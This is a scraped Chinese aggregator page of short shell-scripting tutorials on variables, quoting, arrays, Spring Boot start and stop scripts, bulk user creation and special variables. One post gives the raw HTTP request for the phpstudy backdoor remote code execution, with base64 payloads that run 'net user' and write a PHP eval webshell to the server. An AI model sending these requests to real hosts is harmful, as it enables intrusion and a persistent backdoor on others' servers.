shell脚本

shell基础语法

守給你的承諾、 提交于 2019-11-30 14:55:15
1、变量 语法:变量名=变量值 PS:=两边不能有空格 1、使用变量:$变量名 ex: Name="wendy"#声明变量 echo $Name 或 echo ${Name} #输出变量 ps:花括号可选 2、只读变量:readonly 变量 3、删除变量:unset 变量 4、字符串变量长度获取:${#字符串变量} ps: string="abcd" echo ${#string} #输出45、字符串变量提取部分:${变量:1:4} #表示从第二个字符开始,截取4个字符ex:string="abcdedfg" echo ${变量:1:4} #输出bcde 2、变量类型 局部变量:只对当前 shell有效 环境变量:所有程序都能访问环境变量 shell变量:可设置 3、符号问题 单引号:变量无效,任何字符原样输出 双引号:可使用变量,可以出现转义字符 ps:拼接字符串用双引号,且变量需要用{} 注释问题: 单行注释: # 多行注释: : <<EOF 注释内容 EOF(EOF可以替换为其他任意字符) 4、数组 定义数组:数据名=(值1 值2 值3...值n)或数组名=( value0 value1 value2 value3 )或 数据名[0]=value0 数据名[1]=value1 ex:array_name=(value0 value1 value2) 读取数组:${数组名

springboot项目启动和关闭shell脚本问题

前提是你 提交于 2019-11-30 14:40:39
springboot的jar包名称yjxtapp-0.0.1-SNAPSHOT.jar 启动脚本 #!/bin/sh rm -f tpid nohup java -jar /data/apk/yjxtapp-0.0.1-SNAPSHOT.jar & echo $! > tpid echo Start Success! 关闭脚本 #!/bin/bash PID=$(ps -ef | grep yjxtapp-0.0.1-SNAPSHOT.jar | grep -v grep | awk '{ print $2 }') if [ -z "$PID" ] then echo Application is already stopped else echo kill $PID kill $PID fi 注意编码UTF-8! 注意编码UTF-8! 注意编码UTF-8! 我被编码问题坑了一次,记一笔 来源: https://www.cnblogs.com/tiance/p/11598086.html

Linux Shell编程参考大全

故事扮演 提交于 2019-11-30 14:31:07
   本文记录Linux Shell编程中常用基本知识,方便快速入门以及查询使用。 本文主要分为以下几个部分: 一、Shell中的变量 任何编程语言中,有关变量的定义,作用范围,赋值等都是最最基本的知识。 0、默认变量 首先介绍几个shell中的默认变量。 变量 含义 $0 当前脚本名称 $1 脚本接收的第一个参数 $2 脚本接收的第二个参数 $# 脚本接收的所有参数个数 $@ 脚本接收的所有参数 $* 脚本接收的所有参数 $? 前一行命令的执行状态 示例如下: default_var.sh脚本内容 echo $0 echo $1 echo $2 echo $# echo $@ echo $* echo $? 1 hadoop@client:~$ sh default_var.sh a b c d 2 3 $0 ==> default_var.sh 4 $1 ==> a 5 $2 ==> b 6 $# ==> 4 7 $@ ==> a b c d 8 $* ==> a b c d 9 $? ==> 0 1、变量定义及赋值 hadoop@client:~$ v1=hello hadoop@client:~$ echo $v1 hello 但是要注意的是,赋值处必须为一个整体,不能有空格。 1 hadoop@client:~$ v2=hello world 2 No command

shell批量创建用户

感情迁移 提交于 2019-11-30 13:39:23
#!/bin/bash cat << EOF ************************************************************ 批量添加用户并随机生成8个字符串作为其密码 www.tianfeiyu.com ************************************************************ EOF admin=feiyu #定义所要添加用户的前缀名 [ -f /etc/init.d/functions ] && . /etc/init.d/functions || exit for n in $(seq -w 10) do passwd=`echo $(date +%t%N)$RANDOM|md5sum|cut -c 1-8` #生成随机密码 id ${admin}-$n &> /dev/null #判断用户是否存在 [ $? -ne 0 ] && { useradd ${admin}-$n &> /dev/null && user_status=$? echo "$passwd"|passwd --stdin ${admin}-$n &> /dev/null && passwd_status=$? if [ "$user_status" == 0 -a "$passwd_status" == 0 ]

shell --Day 6

橙三吉。 提交于 2019-11-30 13:31:32
脚本参数交互与for语句循环 1、脚本参数交互 $n $1 $2 ...${10} ${11}...//传参,通过这些传参我们可以将相关的参数输入到脚本中去。 read命令实现脚本参数输入: read语句可以多个参数同时输入,如果变量个数多于输入的数值,就把最后多余的数值赋值给最后一个变量。 例:read a b c [root@lsl ~]# read a b c 1、-p可以指定输入提示文本 [root@lsl ~]# vi b.sh #!/bin/bash # read -p "请输入要查看的内容:" a echo $a 2、设置超时时间 [root@lsl ~]# vi b.sh #!/bin/bash # read -t 5 -p "请输入要查看的内容:" a //设置超时时间为5s,5s后自动退出 echo $a 此时未输入任何内容,5s后退出。 3、需要给read指定的变量,提供默认值 [$? -eq 0] && exit 0 || exit 1 练习:输入一个设备文件,输出这个设备文件的基本信息 #!/bin/bash # cat << EOF 请输入正确的信息如:sda |sdb|sda1 EOF read -t 5 -p "请输入设备文件名:" DiskName [ ! $? -eq 0 ] && echo "请输入正确的信息" && exit 1 if [

Shell中特殊字符的含义

不羁岁月 提交于 2019-11-30 13:19:37
$0 这个程式的执行名字 $n 这个程式的第n个参数值,n=1..9 $* 这个程式的所有参数,此选项参数可超过9个。 $# 这个程式的参数个数 $$ 这个程式的PID(脚本运行的当前进程ID号) $! 执行上一个背景指令的PID(后台运行的最后一个进程的进程ID号) $? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) $- 显示shell使用的当前选项,与set命令功能相同 $@ 跟$*类似,但是可以当作数组用 来源: https://www.cnblogs.com/7haoyu/p/11592275.html

bash Shell 简单介绍

喜你入骨 提交于 2019-11-30 12:10:12
Shell 简单介绍 Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言。 Shell 是指一种应用程序,这个应用程序提供了一个界面,用户通过这个界面访问操作系统内核的服务。 Ken Thompson 的 sh 是第一种 Unix Shell,Windows Explorer 是一个典型的图形界面 Shell。 Shell 环境 Shell 编程跟 JavaScript、php 编程一样,只要有一个能编写代码的文本编辑器和一个能解释执行的脚本解释器就可以了。 Linux 的 Shell 种类众多,常见的有: Bourne Shell(/usr/bin/sh或/bin/sh) Bourne Again Shell(/bin/bash) C Shell(/usr/bin/csh) K Shell(/usr/bin/ksh) Shell for Root(/sbin/sh) …… 这次使用的是 Bash,也就是 Bourne Again Shell,由于易用和免费,Bash 在日常工作中被广泛使用。同时,Bash 也是大多数Linux 系统默认的 Shell。 第一个例子: fish@fish-Lenovo-G50-70m:~$ vi test.sh #!/bin/bash echo "Hello World !

shell常用语句

佐手、 提交于 2019-11-30 10:24:44
一、常见符号 $0   当前脚本的文件名 $n 传递给脚本的参数n,比如$1表示第一个参数 $# 传递给脚本或函数的参数个数。 $*,$@ 传递给脚本或函数的所有参数 $? 上个命令的退出状态,或函数的返回值。 $$ 当前Shell脚本所在的进程ID 示例: #!/bin/bash for var in $* do echo "$var" #for循环打印所有参数 done 二、命令分隔符分号";" 作用:可以在同一行上写两个或两个以上的命令 示例: if [ "$filename" == "$1" ]; then #执行两条命令 echo "File $filename exists.";fi 三、双分号";;" 作用:用在case语句,类似于C里面的case,用来承担break作用 shell的case语法如下所示: case "变量" in "变量1") ... ;; #这里的双分号类似于break "变量2") ... ;; *) #匹配剩下的变量n ... ;; esac #case结束语句 示例: #!/bin/base variable=xyz case "$variable" in abc) echo "\$variable = abc" ;; xyz) echo "\$variable = xyz" ;; esac 来源: https://www.cnblogs

phpstudy后门rce批量利用脚本

北战南征 提交于 2019-11-30 08:27:00
写两个 一个批量检测的 一个交互式shell的 暂时py 图形化的qt写出来..有点问题 后门包 : GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Accept-Encoding: gzip,deflate Upgrade-Insecure-Requests: 1 base64那段写shell即可 c3lzdGVtKCJlY2hvIF48P3BocCBAZXZhbChcJF9QT1NUW3FpbmddKTs/Xj4gPiBxaW5nLnBocCIpOw== 晚上抽点空简单写个发包的py: 改下多线程、读取文本文件后的代码: 先睡觉 困了 来源: https://www.cnblogs.com/-qing-/p

Shell 传递参数

半世苍凉 提交于 2019-11-30 07:57:15
以下实例我们向脚本传递三个参数,并分别输出,其中 $0 为执行的文件名: #!/bin/bash # author:菜鸟教程 # url:www.runoob.com echo "Shell 传递参数实例!"; echo "执行的文件名:$0"; echo "第一个参数为:$1"; echo "第二个参数为:$2"; echo "第三个参数为:$3"; 为脚本设置可执行权限,并执行脚本,输出结果如下所示: $ chmod +x test.sh $ ./test.sh 1 2 3 Shell 传递参数实例! 执行的文件名:./test.sh 第一个参数为:1 第二个参数为:2 第三个参数为:3 参数处理 说明 $# 传递到脚本的参数个数 $* 以一个单字符串显示所有向脚本传递的参数。 如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数。 $$ 脚本运行的当前进程ID号 $! 后台运行的最后一个进程的ID号 $@ 与$*相同,但是使用时加引号,并在引号中返回每个参数。 如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 $- 显示Shell使用的当前选项,与 set命令 功能相同。 $? 显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误。 #!/bin/bash # author:菜鸟教程 # url:www